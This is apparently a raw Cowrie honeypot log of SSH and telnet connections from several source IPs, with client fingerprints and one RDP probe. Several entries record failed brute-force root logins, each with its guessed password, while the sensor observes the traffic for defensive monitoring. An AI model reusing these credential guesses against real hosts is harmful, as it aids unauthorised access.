{"eventid":"cowrie.session.connect","src_ip":"81.9.145.130","src_port":52504,"dst_ip":"10.17.0.5","dst_port":22,"session":"a028f12ce29c","protocol":"ssh","message":"New connection: 81.9.145.130:52504 (10.17.0.5:22) [session: a028f12ce29c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:27.222157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:27.227309Z","src_ip":"81.9.145.130","session":"a028f12ce29c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:27.341286Z","src_ip":"81.9.145.130","session":"a028f12ce29c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"shit","message":"login attempt [root/shit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:27.827994Z","src_ip":"81.9.145.130","session":"a028f12ce29c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:28.841593Z","src_ip":"47.237.167.49","session":"2dcc9e05e008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:28.944297Z","src_ip":"81.9.145.130","session":"a028f12ce29c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46918,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e1d86f4c80","protocol":"telnet","message":"New connection: 152.42.224.71:46918 (10.17.0.5:23) [session: a0e1d86f4c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:29.387157Z"}
{"eventid":"cowrie.session.closed","duration":23.741848707199097,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:31.499517Z","src_ip":"152.42.224.71","session":"9e3347793bd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":98.25039625167847,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:32.046236Z","src_ip":"152.42.224.71","session":"ddcb4429993d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.85.41.170","src_port":60118,"dst_ip":"10.17.0.5","dst_port":22,"session":"893330eb2d77","protocol":"ssh","message":"New connection: 190.85.41.170:60118 (10.17.0.5:22) [session: 893330eb2d77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:33.984845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:33.988577Z","src_ip":"190.85.41.170","session":"893330eb2d77","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:34.083414Z","src_ip":"190.85.41.170","session":"893330eb2d77","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ylngylng","message":"login attempt [root/ylngylng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:34.428978Z","src_ip":"190.85.41.170","session":"893330eb2d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:35.506785Z","src_ip":"190.85.41.170","session":"893330eb2d77","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.02948260307312,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:35.523831Z","src_ip":"152.42.224.71","session":"d697a60ae1bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":64137,"dst_ip":"10.17.0.5","dst_port":22,"session":"daba11c27297","protocol":"ssh","message":"New connection: 167.172.81.52:64137 (10.17.0.5:22) [session: daba11c27297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:41.649441Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:41.654485Z","src_ip":"167.172.81.52","session":"daba11c27297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:41.658339Z","src_ip":"167.172.81.52","session":"daba11c27297","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":96.59556674957275,"message":"Connection lost after 96 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:43.554661Z","src_ip":"152.42.224.71","session":"1ada41b92302","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47738,"dst_ip":"10.17.0.5","dst_port":23,"session":"46bd7f7c3e77","protocol":"telnet","message":"New connection: 152.42.224.71:47738 (10.17.0.5:23) [session: 46bd7f7c3e77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:46.568529Z"}
{"eventid":"cowrie.session.closed","duration":98.26314759254456,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:49.145172Z","src_ip":"152.42.224.71","session":"904300303a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47748,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba3ff6676b15","protocol":"telnet","message":"New connection: 152.42.224.71:47748 (10.17.0.5:23) [session: ba3ff6676b15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:49.586537Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47764,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b85dd0ee8df","protocol":"telnet","message":"New connection: 152.42.224.71:47764 (10.17.0.5:23) [session: 3b85dd0ee8df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:50.210881Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47780,"dst_ip":"10.17.0.5","dst_port":23,"session":"28cb7eb6b953","protocol":"telnet","message":"New connection: 152.42.224.71:47780 (10.17.0.5:23) [session: 28cb7eb6b953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:50.615834Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47794,"dst_ip":"10.17.0.5","dst_port":23,"session":"0879fc981aa3","protocol":"telnet","message":"New connection: 152.42.224.71:47794 (10.17.0.5:23) [session: 0879fc981aa3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:52.675526Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":41024,"dst_ip":"10.17.0.5","dst_port":22,"session":"053e778544a4","protocol":"ssh","message":"New connection: 182.93.50.90:41024 (10.17.0.5:22) [session: 053e778544a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:54.452498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:54.457460Z","src_ip":"182.93.50.90","session":"053e778544a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:54.677466Z","src_ip":"182.93.50.90","session":"053e778544a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"samba1","message":"login attempt [root/samba1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:55.588871Z","src_ip":"182.93.50.90","session":"053e778544a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.06767773628235,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:56.570472Z","src_ip":"152.42.224.71","session":"6045a96ce8e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:52:56.811327Z","src_ip":"182.93.50.90","session":"053e778544a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36824,"dst_ip":"10.17.0.5","dst_port":23,"session":"c96aa3907127","protocol":"telnet","message":"New connection: 152.42.224.71:36824 (10.17.0.5:23) [session: c96aa3907127]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:00.540441Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36828,"dst_ip":"10.17.0.5","dst_port":23,"session":"6582a6b3a7fc","protocol":"telnet","message":"New connection: 152.42.224.71:36828 (10.17.0.5:23) [session: 6582a6b3a7fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:03.828505Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36844,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f6f1b65ffbe","protocol":"telnet","message":"New connection: 152.42.224.71:36844 (10.17.0.5:23) [session: 5f6f1b65ffbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:05.545990Z"}
{"eventid":"cowrie.session.closed","duration":36.66979956626892,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:06.056826Z","src_ip":"152.42.224.71","session":"a0e1d86f4c80","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53576,"dst_ip":"10.17.0.5","dst_port":23,"session":"a39fcb2a0e67","protocol":"telnet","message":"New connection: 152.42.224.71:53576 (10.17.0.5:23) [session: a39fcb2a0e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:06.233083Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53572,"dst_ip":"10.17.0.5","dst_port":23,"session":"8818ed525289","protocol":"telnet","message":"New connection: 152.42.224.71:53572 (10.17.0.5:23) [session: 8818ed525289]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:07.091901Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53592,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d4c0b543102","protocol":"telnet","message":"New connection: 152.42.224.71:53592 (10.17.0.5:23) [session: 2d4c0b543102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:12.662620Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":53020,"dst_ip":"10.17.0.5","dst_port":22,"session":"0a61251fcbfe","protocol":"ssh","message":"New connection: 103.91.246.101:53020 (10.17.0.5:22) [session: 0a61251fcbfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:17.941874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:17.947276Z","src_ip":"103.91.246.101","session":"0a61251fcbfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49892,"dst_ip":"10.17.0.5","dst_port":23,"session":"66fc15630324","protocol":"telnet","message":"New connection: 152.42.224.71:49892 (10.17.0.5:23) [session: 66fc15630324]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:18.017935Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:18.168355Z","src_ip":"103.91.246.101","session":"0a61251fcbfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stefanie","message":"login attempt [root/stefanie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:19.076278Z","src_ip":"103.91.246.101","session":"0a61251fcbfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49904,"dst_ip":"10.17.0.5","dst_port":23,"session":"0107c56159c5","protocol":"telnet","message":"New connection: 152.42.224.71:49904 (10.17.0.5:23) [session: 0107c56159c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:19.854205Z"}
{"eventid":"cowrie.session.closed","duration":0.007713794708251953,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:19.861800Z","src_ip":"152.42.224.71","session":"0107c56159c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:20.299600Z","src_ip":"103.91.246.101","session":"0a61251fcbfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.96.97","src_port":43566,"dst_ip":"10.17.0.5","dst_port":22,"session":"674a65374d30","protocol":"ssh","message":"New connection: 43.156.96.97:43566 (10.17.0.5:22) [session: 674a65374d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:21.178956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:21.184319Z","src_ip":"43.156.96.97","session":"674a65374d30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:21.430011Z","src_ip":"43.156.96.97","session":"674a65374d30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.12114500999451,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:21.707514Z","src_ip":"152.42.224.71","session":"ba3ff6676b15","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"maldini3","message":"login attempt [root/maldini3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:22.443551Z","src_ip":"43.156.96.97","session":"674a65374d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49906,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ff4eb1859e4","protocol":"telnet","message":"New connection: 152.42.224.71:49906 (10.17.0.5:23) [session: 7ff4eb1859e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:23.276799Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:23.691761Z","src_ip":"43.156.96.97","session":"674a65374d30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49916,"dst_ip":"10.17.0.5","dst_port":23,"session":"75a35cca2dd3","protocol":"telnet","message":"New connection: 152.42.224.71:49916 (10.17.0.5:23) [session: 75a35cca2dd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:25.625399Z"}
{"eventid":"cowrie.session.closed","duration":29.187579870224,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:29.727889Z","src_ip":"152.42.224.71","session":"c96aa3907127","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52512,"dst_ip":"10.17.0.5","dst_port":23,"session":"23709c62f0d9","protocol":"telnet","message":"New connection: 152.42.224.71:52512 (10.17.0.5:23) [session: 23709c62f0d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:29.887039Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52522,"dst_ip":"10.17.0.5","dst_port":23,"session":"2113e4ca7a6c","protocol":"telnet","message":"New connection: 152.42.224.71:52522 (10.17.0.5:23) [session: 2113e4ca7a6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:30.786163Z"}
{"eventid":"cowrie.session.connect","src_ip":"47.237.167.49","src_port":45796,"dst_ip":"159.203.135.109","dst_port":22,"session":"120734c0022f","protocol":"ssh","message":"New connection: 47.237.167.49:45796 (159.203.135.109:22) [session: 120734c0022f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:36.576944Z"}
{"eventid":"cowrie.session.closed","duration":32.47019004821777,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:53:38.703113Z","src_ip":"152.42.224.71","session":"a39fcb2a0e67","protocol":"telnet"}
